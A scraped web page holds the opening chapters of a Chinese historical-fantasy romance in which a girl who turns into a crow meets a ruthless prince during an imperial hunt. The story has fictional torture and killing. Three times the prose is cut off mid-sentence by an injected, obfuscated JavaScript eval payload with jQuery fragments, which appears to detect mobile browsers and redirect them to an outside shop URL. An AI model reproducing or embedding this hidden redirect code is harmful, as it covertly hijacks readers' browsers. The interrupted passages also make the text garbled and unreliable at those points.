《大王,封口费交一下》
1. 凝华秋猎
建亥之月,长秋之末,节序轮转了一大半,于时为阴,于行用金。
京城郊外的凝华山上不至于太冷,也不至于太热,正适宜狩猎踏秋。
皇帝的銮帐扎在山脚,随侍官员的帐篷拱卫在周围,远远从山上望下去,明晃晃一片灯烛辉煌,直映得如同天宫倒悬。
与之相比,凝华山上仍是黑魆魆一片,纵然在山上发生了什么,也无人可以知晓。
“呼……”猛兽沉重的呼吸声在黑暗中若隐若现。
杂乱的脚步声飞快地踩过一地枯枝碎叶,伴随着女子急促的喘息。
忽然间,脚步声消失了,一直隐匿的月亮从云梢中洒下片光,照出一双泛着冷冷幽绿的圆瞳。
浑身金铜钱纹的猛兽从黑暗中缓步而出,兽瞳窄如细针,锁定远处影影绰绰的浅红色娇小人影。
顷刻间它四肢发力,如闪电向追逐许久的猎物奔去——但猛兽凌空的身影却骤然在月下消失……随即,地上枯草掩盖的深坑中传来恼怒兽吼,浅红衣衫轻飘飘落在地上,周围空无一人。
确认它暂时动弹不得后,殷流光从树上小心翼翼地跳了下来,松了口气。
这畜生追了她一晚上,要不是她机灵,差点就成它今晚的夜宵点心了!
豹子恼怒的嘶吼不断从坑底传来,殷流光眯起眼,将周围的干草重新盖在坑上,还用脚踢了踢。
这是一个十分简易粗糙,却很有效的陷阱。殷流灵在第一次被豹子追的时候,就注意到了这里有个深陷的洞口,洞口很深,应该够卡住一只成年金钱豹的身体。
所以她故意绕回原地,就是为了将那头豹子引来这里,好在她一次就成功了!
她的整张脸都汗津津的,发丝凌乱,只穿着单薄的桃红内衫,狼狈至极。她扭头看了眼已变成一地碎片的外衫,那还是去年元夕时,嫡母难得命人为她做的新衣……虽有不舍,但她叹了口气,果断地扭头朝着相反的下山方向狂奔而去。
山丘的暗影从她身后快速掠去,她跑得极快,山脚下那片煌煌灯火越来越近地倒映在她眼底,只要跑到有金吾卫的地方,就可以鸣冤报官了!
殷守善……她的好兄长,就是他将她骗到山野深处,又亲手打开了关着金钱豹的笼子。
既然他连面上的兄长都不愿再做,那就也别怪她不当好妹妹了。
可人倒霉的时候是真倒霉……她殷流光长这么大,一直都没有好运眷顾,今夜更是如此。
殷守善那个阴险小人绝对在她身上抹了什么吸引猛兽的东西,她跑着跑着,忽然耳朵里听到的喘息声除了自己的,还多了一道。
目光下移,月光无情,惨然在地上映照出一个野兽的轮廓。
是老虎……还是什么熊罴?
身后的咆哮声如雷霆向她袭来的时候,殷流光绝望地望着远处的金吾卫帐篷,脚却已经跑不动了。
但预料中的撕咬并没有出现,一声不合时宜的鸟鸣在脑海中炸响,眼前骤然被白光充盈。
身体忽然变得很轻……感受不到四肢百骸的重量。
殷流光睁开眼,几乎不敢相信自己看到了什么。
一览无余的视野,呼啸的风声,一根漆黑的羽毛从她眼前飘落,掉在了地上那摊桃红色的女子衣裙上。
衣衫旁的花斑老虎瞪大了眼,仰着头仿佛呆住了一般望着她,四目相对,人和兽两两无言。
殷流光试探着转头,却发现自己的身体不见了,取而代之的却是黑不溜秋的鸟翅膀,她吓得大叫一声,却发出了低沉粗哑的一声“嘎”。
她居然,居然变成了一只乌鸦?!!
地上的老虎很明显没有打算放过她,原地呆立片刻就猛然蓄力,咆哮着跃空向她扑来。
殷流光吓得立刻扇动翅膀,歪歪扭扭地朝金吾卫的驻扎帐篷飞去。
……
今日天子狩猎大获而归,龙颜大悦,将所猎之物都赏了随行官员及金吾卫,还赏了宫中美酒,准他们开席宴饮。
这是难得的恩赐,除了守值的卫兵,其他金吾卫都喝得东倒西歪,不省人事。
默玄腰挟着一个黑布袋,身形如鬼魅,一路避开巡逻的卫兵,匆匆撩开金吾卫营地中央的帐篷,闪入其中。
他将黑布袋扔在地上,布袋传来闷哼,又疯狂挣扎起来。
默玄一脚踹在布袋上,动静立刻小了许多。
他拱手,对着上座的人恭敬道:“大王,人带来了。”
座上之人一身玄色织锦银盔甲文武袍,躞蹀带上系着金鱼符,长眉入鬓,骨重神寒,跳跃的烛火在苍狼皮地毯上投下他的影子,仿佛影绰的高山,威压深重。
商遗思“嗯”了一声,从案上挑了一支箭羽,用它扎入手中图纸,手腕微转,那支箭便挟着图纸,稳稳地扎入柱子上,没入三寸。
他道:“放他出来。”
默玄抽出横刀,挑开布袋束口,又狠狠踢了一脚,道:“还不滚出来答话!”
立时便从布袋中滚出来个男子,一边坐在地上大口喘气一边大骂:“哪个王八犊子敢趁你爷爷放水偷袭?知不知道爷爷我是谁的人?不要命……”
话未说完,默玄大步上前,一把掐住他的后颈,强迫他抬头:“看清楚你面前站的是谁,再敢口出狂言,我就挑了你的舌头!”
男子盯着商遗思,瞳孔猛然收缩,双唇颤抖地叫出名字:“襄、襄王殿下……?”
商遗思没有抬眸,案边风炉上的银鍑冒出咕嘟的水声,他用瓢舀了一勺热水,不疾不徐地浇入越瓷碗中:“吕大娄,镇安府折冲校尉,隶属南衙骁卫,此次天子秋猎,听从兵部调遣随行,但在被调往镇安府之前,你是广平侯府的护卫,所以,你是广平侯的人,本王答得可对?”
帐篷内茶香漫逸,本该极有情调,但吕大娄却双腿一软,连着给商遗思磕了好几个响头:“大王饶命啊,大王饶命!”
“本王还不曾说什么,只是跟你聊上一聊你的官阶旧主,怎么就把你吓成这样?”
商遗思将葫芦瓢放回远处,端起茶盏吹了吹:“还是说,你已经知道本王深夜请你前来,所为何事了?”
吕大娄脸上汗如雨下,他僵硬地咽了咽唾沫,可心想看襄王这么气定神闲的样子,难道那件事……他还不知道?找他来是有别的事?
襄王执掌南衙十二卫中的金吾卫,官拜金吾卫大将军,又代掌北衙飞骑,是天子心腹,而吕大娄的上官及旧主广平侯祁君疾则官至兵部侍郎,知参知政事,是如今朝堂上的“五相”之一,他的嫡长子祁承筠是太子伴读,因着这层关系,广平侯一向被视为东宫正统的支持者。
而如今朝野上下谁都知道,天子威德深重,太子却文弱无能,天子对东宫就没有满意的时候。
襄王与广平侯表面上就已经属于不同阵营,只是还没有到明牌敌对的地步。
难道……襄王趁着秋猎之夜绑他来此,是想要收买他做暗探?
想到这里,吕大娄没有那么惧怕了,他挺直了脊背,谄笑着试探问道:“大王可是想要小的为你监视广平侯的行踪?”见商遗思没有否认,他连忙膝行上前:“小的愿为大王鹰犬,为大王所用!”
商遗思搁下茶杯,终于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986093|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似笑非笑,抬起眼觑了他一眼。
“既如此,本王倒真有件事要问一问你。”
吕大娄忙不迭点头:“大王直说便是,小的定知无不答!”
商遗思起身,绕过长案走到他面前,他俯下身,直视他眼睛:“长岁十二年,八月节那一夜,吕校尉身在何处?又做了些什么?”
只听到“长岁十二年”,吕大娄的脸色便“唰”的一下变得惨败无比,浑身抖如筛糠,连句完整的话也说不出来。
商遗思一字一顿,嗓音变得冷寒无比,像是从阎罗殿里走出的拘魂使,此刻出现在这里只为索命:“默玄,让他好好看一看这张图纸。”
默玄立刻动手,将吕大娄的脑袋按着正对柱子上的图纸。
“本王问你,你可认得这张图?”
“认、认得,这就是您……襄王宅邸的布局图……”吕大娄死死盯着眼前的图,浑身血液都在此时凉透了。
事到如今,他早已明白商遗思将他拘来所为何事,也知道今夜除了一死再没有别的活路。
“告诉本王,图上这前后四门,包括东南、西南两道暗门,那夜你走的是哪扇门,进了哪条道,当夜登门者,除了你还有谁?”
商遗思走到吕大娄面前,面无表情地俯视他:“答上这最后一问,本王便留你全尸。”
“是、是桐花路的侧门,当时我被侯爷拨给世子做贴身护卫,是跟着世子……进了王府侧门,府上二公子亲自迎接,所以一路通行,无人阻拦,直往后院凉亭……”
他伸出手,指向图纸左下方的侧门,顺着图中路线一直指向后院凉亭,听见广平侯世子的名字,商遗思脸上神色未动,像是意料之中:“原来是祁承筠……”
吕大娄趁着商遗思看图不注意之际,猛然一头撞向柱子,默玄眼疾手快地拽住他的腰带,将他狠狠摔在地上:“大王说了会留你全尸,你这么着急去死做什么?”
吕大娄瘫坐在地上,求死不成反被拦下,他双眼无神,三魂七魄已经去了大半,兀自喃喃:“长安谁人不知,襄王是陛下心腹,行事狠辣,进了金吾狱的人,被抬着出来的时候就变成了不成人形的尸体!我宁愿一头撞死,也不想被折磨而死!”
商遗思将图纸从柱上撕下,扔进火盆里烧了,又将拔出的箭矢垂在火盆上烤,慢慢地看着箭端被烧得通红,那一抹红映在他漆黑瞳仁里,妖冶鬼魅。
“看来,你很了解本王?”
话音刚落,他手中箭矢便翻转着刺入吕大娄手掌,吕大娄当即惨叫连连,却被默玄用刀柄堵住嘴。
吕大娄捂着鲜血淋漓的手掌,宛如见了恶鬼般拼命向后挣扎,商遗思面无表情,徐徐向他走进几步:“你说得没错,本王也的确没打算放过你,那一晚上你放火烧我襄王宅的时候,就该想到,今日我这狠辣之人,会要你求生不得,求死不能。”
他对默玄道:“默玄,交给你处置,遗念和遗梦死前所受的罪,本王要他如数偿还。”
默玄抱拳:“是!”他将已经晕死过去的吕大娄重新装进黑布袋里拖着往外走,掀开帐篷的瞬间,忽然从帐外扑棱着飞进一只黑鸟。
那鸟横冲直撞,飞得歪歪扭扭却极快,连默玄都没有反应过来,它闯进帐篷,径直撞上商遗思的胸膛,这一撞可不轻,只见它凄凉地“嘎”了一声,用翅膀捂着头缓缓倒下。
“……属下这就把它丢出去!”默玄立刻上前拾鸟,却被商遗思拦下。
“无妨。”商遗思盯着地上晕过去的乌鸦,眸中闪过一丝微光:“留着它吧,这凝华山太无聊,它倒能给本王做个伴。”
2. 大变活人
她闻到了有若有若无的清苦茶香,耳边还有银丝炭燃烧的哔剥声……恍惚间,殷流光从黑暗中清醒了过来,晕倒之前的记忆也霎时回笼。
她想起自己变成了乌鸦,被老虎追赶,仓皇逃跑中闯入了陌生帐篷,撞上了个十分坚硬的胸膛,然后就晕了。
殷流光悄悄将眼睛睁开了一条缝,看到近在咫尺的几根黑得五彩斑斓的乌羽,就知道她活人变鸟这件事不是临死前的幻觉。
但只要活着就已经是上苍终于睁眼眷顾她了,接下来就是想办法弄清楚她如今的状况然后再议逃跑,她用翅膀盖住脑袋,小心翼翼地从翅膀下向外看去。
入目是一方青色的床帐,用金钩勾起,床帐外不远处有方漆木长案,案后坐着一人,地上燃着盆烧的正旺的炭火,旁边的架子上悬着弓箭和横刀,旁边立着副金吾卫将领形制的铠甲……看样子,她现在应是仍在晕过去前闯入的金吾卫帐篷里。
脑袋传来剧痛,她记得自己昏过去前撞上了明光甲,而穿戴明光甲之人……应当就是案后坐着的那个穿着文武袍的男人了。
殷流光刚刚变鸟,对这具鸟身还有鸟翅膀都非常不熟练,把握不好飞行,才一头扎进陌生的帐篷里,但如今平静下来,便发现了变鸟的好处——她的视力变得非常好,即便这帐篷中此刻只点了案前的一盏灯,烛光照不到的地方皆昏蒙无比,她也能清晰地看到帐中的所有细节。
案前坐着的那人……金相玉质,眉眼挺秀,是个难得的英伟之姿,但现在可不是欣赏美色的时候,那人正捧着卷书看,看神情正看得入迷,此时不逃,更待何时?
殷流光立时抖抖翅膀,熟悉与做人时完全不同的身体,方才第一次当鸟技能不是很熟练,又有老虎在后面追,所以飞得不稳当,这次有了准备,不会再飞得那么狼狈了。
感受着翅膀传来的知觉,她动了动,瞄准此刻帐篷恰好被风吹起的一条小缝,翅膀猛然发力,扑扇着向半空跃起……但哗啦一声,她没飞起来,反而被什么东西牢牢拽住鸟爪,拉扯着向后仰倒。
殷流光:……嘎?
她蹦起来重新站好,一低头这才看清,她的后爪上拴着一条细细的金链,链子的末端拴在床腿,难怪她飞不动,敢情是这男人趁她昏迷的时候将她绑起来了?
大半夜的绑架野生动物,有没有人管管啊!她气愤不已,却只见远处那人听到动静,抬起头朝这边望了眼,而后放下书,起身走了过来。
殷流光连忙收起翅膀,假装自己只是一只普通的野乌鸦,原地蹦跳着走了两步,冲越来越近的男人嘎嘎乱叫,将金链子抖得窸窸窣窣,以表示自己很不喜欢这拴脚的东西。
商遗思走了过来,伸手捏住这只乌鸦的脖子,将它拎到自己眼前打量,见它毛发蓬松,浑身上下没有伤口,黑豆大小的眼睛滴溜溜望着他,跟方才气息奄奄的模样判若两鸟。
他嗓音淡淡:“不喜欢这链子?等回了长安,给你换个便是,今夜暂且忍忍。”
男人端丽英挺的眉眼猝然放大百倍,殷流光吓了一跳,心差点跳出来。
她直觉感觉此人很危险,虽然说话时容色平静,可他一靠近,她浑身的乌鸦毛都竖了起来。难道……这就是动物对于危险的直觉?
听对方这话里的意思,他将她拴在这里,是想要驯养她?这可不行,她还不知道自己为什么会变成鸟,更不知道自己还能不能变回去,退一万步来讲,就算是今生今世都倒霉得变不回去了,那也绝不要被人囚住当宠物养,这十七年在殷家,她已然受够了受制于人的生活。
今夜无论如何都要从这帐篷里离开!殷流光看着近在咫尺的男子,眼睛滴溜溜一转,张嘴就要伸脖子啄咬他。
可这口感……怎么不对劲?她低头一看,男人不知什么时候已察觉到她的意图,袖口翻转,她便一嘴咬到了袖箭上,牙被咯得生疼。
“看着个头不大,脾气倒是不小。”商遗思将袖箭从她嘴里拔出,将她放回床上,饶有兴趣地审视道:“竟然还会偷袭……比本王兽苑里的决云儿还要机灵。”
这语气怎么听起来对她更感兴趣了啊?!!!
殷流光的震惊被商遗思瞧在眼里,他眼底划过微芒,伸出两指,抚摸过她的脑袋:“看你的反应……莫不是能听懂人言?难道你是人变的?”
此人太过可怕……!殷流光立刻仰头栽倒,闭着眼露出奄奄一息的模样。她曾听师父说过,有些有灵性的动物,察觉到危险时会假死逃脱。
只要她装死,此人定会失了兴致,将她扔出去。
她闭着眼等待男人解开链子将她丢出去,可却什么动静都没听到,冥冥中感觉有道锐利冷漠的视线一直落在她身上。
不知就这么僵持了多久,只听帘子被人掀开,脚步声走了进来。
“大王,都处理好了,尸体扔在了山上,估计明日一早就被老虎吃得差不多了,没人会发现。”默玄拱手,向商遗思禀报。
商遗思将视线从装死的乌鸦身上挪开,淡淡点头:“知道了。”
他顿了顿,又问:“天子那边如何?”
“已经命人将那假麒麟关进笼子里了,说是明日要运回大明宫,走朱雀大街,让全长安城的百姓都有机会瞻仰瑞兽。”
默玄想起刚刚看到的景象,忍不住有几分眼看着自己挖的坑被人端端正正跳了进去的幸灾乐祸:“还有就是广平侯那边,如今不少官员都还聚在他的帐篷里恭维他呢,他今日第一个在山上发现了麒麟献给天子,不仅蒙天子恩赐百金,他儿子祁承筠更是直接被拔擢连升三品,祁家圣眷眼看着可比东宫还要浓了,我也是没想到,咱们的计划会这么顺利。”
商遗思觑了他一眼:“默玄,你话多了。”
默玄立刻噤声:“是,属下知错。”他瞧见商遗思床榻上的一团漆黑还有拴着它的金链条,嘴角忍不住抽了抽:“大王,您真的打算养这鸟啊?”
“咱们兽苑里的高丽赤鹰、北山黄鹘哪个不比一只野乌鸦强,而且它看着还有点半死不活的,不然还是交给我,我拿去给咱们的豹子加餐,也不知是谁没关好笼子将它放了出来,它乱跑掉进了山中的坑里,我刚刚费了好大力气才把它救出来,那样子,可委屈坏了。”
殷流光心里咯噔一下,原来那豹子是此人养的,这侍卫唤他大王
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986094|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……此次秋猎,随天子而来又隶属金吾卫的郡王只有一位……那就是大盛第一异姓王,襄王商遗思。
此人是商遗思?!!!
那她岂不是鸦入狼口?全长安城的人都知道襄王行事诡谲莫测,惹上他的人无一例外都会从京城彻底消失……此人手段酷辣,名为金吾卫大将军,实则是天子鹰犬,听说他的襄王宅霸道无比,占了崇仁坊半条街,有一半的宅邸都被他辟出来做了兽苑,养了许多凶残猛兽,坊间早有传言,京师里那些惹天子不悦的官员,都是被襄王投入了他的兽苑,去喂了他的猛兽。
殷流光浑身冷汗直冒,怎么自己好巧不巧,就偏偏钻进了这顶帐篷?
商遗思冷淡的嗓音响起:“将今日我猎到的东西都喂给那头豹子,再问问是谁看守的笼子,它是怎么跑出来的。”默玄应了声,又说:“行,我立刻去办,那这乌鸦……”
“民间多传乌啼报喜,称为嘉瑞,今日天子得了麒麟,本王得了乌鸟,也算是双吉兆。”提起天子的麒麟,商遗思语气微顿,又吩咐默玄:“且留下它,准备些清水和鸟食送进来,去吧。”
默玄不得不领命而去,帐内重回寂静。
殷流光心中非常绝望,她装死装半天了,襄王怎么还要把她留下来?若是刚刚就让默玄把她带走,她早就可以先装死然后趁机挣脱溜之大吉了。
现在可怎么办?
只能……以不变应万变了,等商遗思睡着,她再从他腰间叼下钥匙解开金链吧。
没过多久,默玄就送了清水和食物进来,殷流光继续装死装到底,浑身僵直一动不动,不知过了多久,听见一阵窸窸窣窣的声音,她忍了又忍,实在没忍住,悄悄掀开眼帘,正对上已经脱了外袍,散了头发,只穿着中衣的商遗思。
凝华山地势偏高,月色明亮,凉寒如霜地映在男子宽阔的背脊上,勾勒出常年征战沙场所留下的精瘦肌肉的轮廓。
见他手中拿着鸟食碗朝自己走来,殷流光继续倒头装死,商遗思唤了她几声她都假装没醒,他顿了顿,似乎是将食物和水都放在了她身边的木柜上。
片刻后,殷流光眼前一黑,身边的床榻微微下陷。
商遗思终于吹熄烛火,上榻休憩了!
等到他的呼吸声终于变得平稳,殷流光慢慢睁开眼,瞧见商遗思放钥匙的外袍,恰好就被他随手搭在床尾的屏风上,心中不由大喜,这个距离她正好能够得着!
她连忙轻手轻脚地挪过去,先是跳上床尾放东西的木柜,然后再用鸟嘴咬住衣服,一点点往下拽。
钥匙被拽着掉了下来,发出闷响,所幸商遗思并没有被吵醒,殷流光立刻低头叼起钥匙给自己解锁。
可钥匙还没碰到爪子上的金链锁孔,低头的瞬间,眼前骤然模糊,整个世界天旋地转,像是有无数重幻影。
她这是……怎么了?
她心中有种不妙的预感,眩晕停止后,她捂着脑袋犹然发蒙,月光从帐外透了进来,清楚地映出她的影子。
一个窈窕的,只穿着贴身襦裙的女子身影。
身后传来冰寒的声音:“你是何人?为何在本王床上?”
3. 春风床帐
糟了,她早不变晚不变,偏偏这个时候变回了人身!
殷流光浑身僵硬,脑子里飞快转过许多念头,当机立断,立刻一把扯下商遗思的外袍披在身上,再向他转过身时,已经换上了媚眼如丝的模样。
她咬着唇,青丝散落满肩,目光盈盈地瞧着商遗思:“妾对大王心生爱慕,是以深夜荐枕,只为一夜巫山之欢,大王又何必非要知道妾是谁?”
“心生爱慕?对本王?”商遗思重复了这几个字,漆黑的瞳仁里深不见底,他伸出二指,抬起眼前女子的下巴:“今夜能入本王帐中者,不是此次秋猎随行官员的家眷,便是广平侯带来的民间舞姬,但既是长安中人,难道不知本王为人?”
“自是知道的,但那些说大王凶神恶煞的都是谣言,妾不信!”殷流光急切地辩驳,伸手握住了商遗思的手腕,像极了对襄王用情至深的小女子。
“那年是长岁八年,大王银铠横刀,纵马入长安,满长安的女子都围在朱雀大街,想要一睹大王少年将军的风采。妾……也在其中,那日一见倾心,朝思暮想,直到如今。”
她缓缓道来,说得连自己都要信了,迎着商遗思莫测幽深的目光,深情如水地望着他。
长岁八年,商遗思还远在陇幽,那年八月节,他带领亲兵收复陇幽,将陇幽三镇重归大盛版图,天子大喜,赐他为陇幽都督,又召他入长安,以他跨越十年卧薪尝胆平定陇幽的功绩,封他为襄王。
这件事长安人人皆知,商遗思入京那天,确实整个长安的女子都堵在了朱雀大街,但这里头并不包括殷流光,那天她根本不在长安,更不用说什么一见钟情的鬼话了。
此时她心头直打鼓,不知商遗思信了这番说辞没有,她向来察言观色有些本事,跟一个人交谈数语便能知道这人是什么性格品行,爱听什么话,说什么能讨得对方信任,但眼前的襄王……他像是毫无防备,她却无丝毫缝隙可钻。
商遗思被她握住手腕,却没有推开她,眸光从上到下缓缓将她扫了个遍,但触及肌肤的目光没有半点暧昧欲望,反而像极了……杀生无数的猎人在冰冷审视被收入罗网的猎物。
殷流光仓促间只披着商遗思玄色外袍,连腰带都没系,一半肩膀都露在外侧,被商遗思这么打量,裸露在外的肌肤竟然细细密密泛起了鸡皮疙瘩!
“自荐枕席,连衣物都没穿,那你是如何进的本王帐篷?”他手臂轻扬,便攥住了殷流光披在身上的衣服领子,将她骤然拉入自己怀中。
属于另一个人的陌生气息在霎时间侵入她的全部五感,他身上有焚香味,很淡,却很独特,像是大雪天焚烧沉香木的味道,缭绕在鼻端。
“妾实在爱慕大王,心急了些,跳完舞后便趁着夜色浓重偷偷来此,见大王已经睡着,不敢打扰,但屋内黑暗,妾的外衫不小心掉进炭盆,身上寒冷,心想着……大王怀里定然是暖和的。”她深情款款地望着商遗思眼睛,愈发坐实了自己的动机。
眼前女子双眉微颦,眼角带红,看似对他一往而深,实则十分镇定,短短几刻钟竟能编出这么乍听荒诞,细想却十分合理的话。
长安女子热情如火者甚多,光是平康坊里的舞姬,每年闹出的为爱私奔之事便多之又多,更不必提自荐枕席这种风月佳话,那都是常有的,是以殷流光也并不是情急之下便瞎编乱造。
商遗思平静地“哦”了一声,从神情看不出来是信了还是没信,他的手掌从殷流光的脖颈往下抚摸,隔着外袍轻抚过她的脊背,指尖在她的脊骨流连,激起殷流光一阵难忍的酥麻:“你说的这些,本王可以信,只是不知,你有多爱慕本王?”
“妾……”她说着,猛然僵住,因为她忽然听到了锁链清脆的响声!
商遗思不知何时长臂一伸,便勾住了那根锁住她脚踝的金链,链子叮铃作响,他一拽,温热指尖抚摸过冰冷金链,落在殷流光的脚踝,玩味地停顿了片刻。
这链子是何时锁上的她可没办法解释,黑暗中她咽了咽口水,冷汗涔涔,但商遗思的手却重新从金链抚上她脊背,嗓音闲闲:“你还没说,你是如何爱慕本王?”
殷流光真想一不做二不休跟他拼了,但襄王凶名响彻整个长安,她真不想惹怒他被他重新丢去野外喂那只豹子。
襄王既然发现了金链却无动于衷,除了发觉她是鸟变的,更有可能是他根本就不在乎那只鸟,且他在长安定然出入过平康坊,见过许多花样,将这金链看做是她主动系上挑逗他的手段。
她在心中暗骂一声衣冠禽兽,脸上挤出柔媚的笑,实在不想再对着这张看一眼少好几年寿命的阎王脸,便怯怯将头靠在他胸膛,道:
“长岁八年一眼误终身后,妾便对大王念念不忘,听闻大王收复陇幽天子圣心大悦,封了您做我大盛开国以来第一位异性王,任金吾卫大将军,又代掌北衙飞骑,那年天子游曲江,您带着飞骑随行护驾,马踏曲江畔,那时妾就在对岸,被大王英姿深深折服,后来更是找了许多坊间关于您在陇幽如何以少年之姿孤身潜入鬼方左亲王府,神不知鬼不觉取了鬼方左亲王项上人头……
她说的这些除了自己偶遇她的部分是作假外,其余都是商遗思的真实事迹,她对这种杀人无数的魔头可没什么兴趣,这些关于襄王的“少年英雄”事迹,都是她的婢女知意讲给她听的,当时去曲江凑热闹的也是知意。
长岁九年襄王府被烧毁重建之前,商遗思在民间的名声还很好,那时他是收复西北陇幽的少年将军,意气风发,又因着长得好,坊间人道“长安春色十分,陇幽商郎独占”,写他的轶事野书也卖得特别好,知意就买过好几本。
后来襄王府重建,他建了兽苑,代天子行事,便慢慢地在民间变得声名狼藉起来,知意也不再喜欢他,将那些书都烧了,殷流光想起知意,心想殷守善骗她去山上的时候支走了知意,此刻见她消失不见,知意不定怎么焦急呢。
她心里担心知意,说的话就不自觉快了点,却被商遗思皱眉挑毛病,要她重讲,讲到一些如何仰慕他为人的具体事件的时候,他还会纠正她细节不对。
殷流光口干舌燥,竟然就这么一直讲到了天色从晦暗变得将将欲明,她嗓子都冒烟了,有气无力:“大王身份高贵,妾这些年都只能远远看着,从没有近身侍奉的机会,这次天子秋猎,妾有幸被选中成为随行舞姬,又听说大王也随行左右,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986095|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才起了心思……大王,大王?”
她仰头看去,商遗思竟然不知什么时候,已经合上眼睡着了!
殷流光立刻伸手,探了探他的鼻息,气息沉缓,显然是睡得正沉。
她一愣,随即大喜过望,立刻从他怀里爬出来,在柜子上拾起钥匙解开脚腕上的锁链,笼着他的衣服下了床。
这下终于能溜走了!这混蛋,竟然让她讲了一晚上如何爱慕自己的这种话,可见平日最喜欢听人奉承,金吾卫里若尽是些这种将军,难怪长安治安越来越不好。
她下了床,鄙夷地回头看了眼熟睡中的商遗思,想了想,又摸回去将那金链子揣进怀里,这才飞快地撩起帘子跑了。
回头把这点金子融了换钱,就当是给襄王说了一晚上书的酬劳吧。
此刻天色十分早,营地里一片寂静,守营的金吾卫们都还没起来,无人发现有个女子从襄王的营帐里溜出来跑远,只有远远的草丛里,一双金色的竖瞳将她的身影尽揽眼底。
殷流光走后不久,一条手臂粗的白蛇吐着信子,蜿蜒爬行着从帐外滑进来,它的瞳孔金黄璀璨,像是两颗硕纯净的黄宝石,亮得吓人。
白蛇悄无声息地爬上屏风,金色瞳孔盯着床帐内熟睡的商遗思,“嘶嘶”吐着信子。
它身后又有一人撩开帘子走了进来,帐内的人缓缓睁开眼,看向来人:“她跑了?”
默玄点头,商遗思瞧着床尾消失的金色细链,眼底染上意味不明的笑:“倒也胆大,知道了本王的身份,还敢偷本王的东西。”
“你去看着她,她必不是舞姬,去看看她是谁家的官眷。”默玄有些不解:“大王为何要属下去盯一个普通女贼?”
“普通?”商遗思从床上下来,捻起落在床上的一根乌羽,漆黑平常,映在他眼底,却泛起涟漪:“她可不普通。兽苑里养了这么兽,一个都变不成人,此次来凝华山,却能撞见可以变成乌鸦的人,也不知本王这是幸运,还是不幸运。”
默玄大惊失色,仔细一看,果然发现那乌鸦从床尾失踪了!
昨夜他处理完豹子的事回来时,便隔着帘子听到帐内有女子娇媚的声音,他只当是哪个大胆的看上了大王的舞姬趁着夜色自荐枕席,既然大王没有阻止,留下了她,便是难得的喜欢,他便好好替大王守在帐外,不让人靠近。
她过了一晚上才出来,逃走时他故意隐在一旁没让她看到,不过自己倒是特意伸长脖子看了眼她的长相,嗯……虽然头发散乱,毫无修饰,但确实是个大美人,在薄雾笼罩的山间清晨里,乍看像是巫山神女,洛水之神,能被大王看上也有道理,只可惜随后就鬼鬼祟祟地跑走了,那番“神女”身姿也立刻破灭。
只是他没想到,那女子居然就是前一晚闯入帐中被大王收留的乌鸦!
他立刻明白了过来:“大王难道是昨晚就已经看出那乌鸦不对劲了?!!”
商遗思颔首,负手而立,沉沉道:“去打探清楚她的身份,暂时不要惊动她,本王,想要她的眼睛。”
默玄应下,但他并未离开,反倒是屏风上的白蛇,徐徐滑下绣着枫叶深林的屏风,吐着信子从帐内爬了出去。
4. 长兄守善
殷流光趁着清晨山岚间雾色正浓,悄悄回到了殷家的帐篷。
婢女知意在帐篷里正急得团团转,一转身见帘子被从外撩开,裹着黑袍的殷流光走了进来,顿时又惊又喜,忙迎了上去:“娘子!你可算是回来了!你这一晚上都去了哪里?我可是担心坏了!”
殷流光匆匆走进来吩咐:“先别说其他的了,知意,先帮我换一套衣服,把这袍子拿去烧了,剩下的事我等会跟你细讲。”
等知意服侍完殷流光穿衣,见她双唇泛青,像是吓得狠了,连忙端来碗热牛乳给她:“这是昨晚祁郎君特意遣小厮送了过来的。”
“他说昨日伴驾打猎,没能顾得上娘子,也不知娘子这趟出来玩得开不开心,饮食可有不适,正巧皇后娘娘昨夜赐了他一盏牛乳,他想着山间寒冷,娘子早起正可以喝了暖暖,叫我早上将这牛乳热了给娘子尝,娘子快趁热喝吧。”
殷流光接过那盏热牛乳,一口气喝了个干净,这才觉得这一晚上被豹子老虎还有襄王吓跑的三魂六魄都回归了身体,她搁下茶盏,想起昨夜让自己经历这些事的元凶,眼睛眯了眯,问知意:“对了。我兄长呢,昨夜到今天你可见过他?”
“见倒是见过……”知意抿了抿唇,似乎觉得在娘子面前说她兄长坏话不好,可又替娘子委屈,咬咬牙还是说了出来:
“昨夜我被祁家的小厮叫出去再回来时,娘子就不见了,我以为娘子是第一次来凝华山好玩,去随处逛逛了,可一直等到晚上亥时娘子都没回来,我便慌了,去寻大郎,可谁知大郎正在祁家的帐篷里喝得酩酊大醉,我说娘子你不见了,大郎竟像没事人一样,说娘子你可能是贪玩乱逛,指不定被哪家小姐留在别的帐篷里过夜了,叫我不要声张,回去等你就是。”
